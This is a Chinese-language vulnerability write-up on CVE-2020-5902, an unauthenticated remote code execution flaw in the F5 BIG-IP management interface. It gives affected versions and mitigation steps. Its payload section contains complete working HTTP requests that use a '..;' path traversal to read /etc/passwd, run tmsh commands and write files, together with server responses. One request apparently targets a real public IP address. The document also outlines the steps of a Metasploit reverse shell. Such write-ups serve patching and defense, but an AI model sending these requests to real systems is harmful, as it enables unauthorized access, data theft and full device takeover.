跳转至

2020-07-01 F5 BIG-IP 远程代码执行

0x01时间线

  • 2020-07-01 F5发布公告,其流量管理用户接口(Traffic Management User Interface ,简称TMUI),也称为配置实用程序(Configuration utility)。该系统存在一处RCE漏洞。CVE编号为CVE-2020-5902。

0x02编号

  • CVE-2020-5902

0x03危害

远程命令执行

0x04风险等级

0x05概述

未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。

0x06影响版本

  • BIG-IP 15.x: 15.1.0/15.0.0
  • BIG-IP 14.x: 14.1.0 ~ 14.1.2
  • BIG-IP 13.x: 13.1.0 ~ 13.1.3
  • BIG-IP 12.x: 12.1.0 ~ 12.1.5
  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

0x07识别

0x08POC

0x09Payload

0x0901读文件

Example:

/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

img

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

0x0902远程命令执行

Example:

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

`list auth user` look all user

`list auth user admin` only look admin user

https://devcentral.f5.com/s/question/0D51T00006i7hq9/tmsh-command-to-list-all-users-in-all-partitions

img

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

0x0903上传文件

Example:/tmui/locallb/workspace/fileSave.jsp

POST: fileName=/tmp/1.txt&content=CVE-2020-5902

img

img

Burpsuite Requests

POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

fileName=/tmp/1.txt&content=CVE-2020-5902


HTTP/1.1 200 OK
Date: Mon, 06 Jul 2020 02:05:29 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=x; Path=/tmui; Secure; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data:  http://127.4.1.1 http://127.4.2.1
Vary: Accept-Encoding
Content-Length: 4
Connection: close

File Read /tmp/1.txt

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/1.txt HTTP/1.1
Host: 74.115.70.72
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Mon, 06 Jul 2020 02:06:07 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=x; Path=/tmui; Secure; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data:  http://127.4.1.1 http://127.4.2.1
Vary: Accept-Encoding
Content-Length: 32
Connection: close

{"output":"CVE-2020-5902\n"}

upload /tmp/1.txt Successful !

0x0904MSF

https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb

1. list=bash
2. generate unix command to upload /tmp/xxxxx
3. execute command /tmp/xxxxx
4. reverse shell

0x10修复

0x1001通用修补建议:

升级到以下版本

  • BIG-IP 15.x: 15.1.0.4
  • BIG-IP 14.x: 14.1.2.6
  • BIG-IP 13.x: 13.1.3.4
  • BIG-IP 12.x: 12.1.5.2
  • BIG-IP 11.x: 11.6.5.2

0x1002临时修补建议:

官方建议可以通过以下步骤临时缓解影响

1) 使用以下命令登录对应系统

tmsh

2) 编辑 httpd 组件的配置文件

edit /sys httpd all-properties

3) 文件内容如下

include ' <LocationMatch ".*\.\.;.*"> Redirect 404 / </LocationMatch> '

4) 按照如下操作保存文件

按下 ESC 并依次输入 :wq

5) 执行命令刷新配置文件

save /sys config

6) 重启 httpd 服务

restart sys service httpd

并禁止外部IP对 TMUI 页面的访问

0x11参考

https://github.com/jas502n/CVE-2020-5902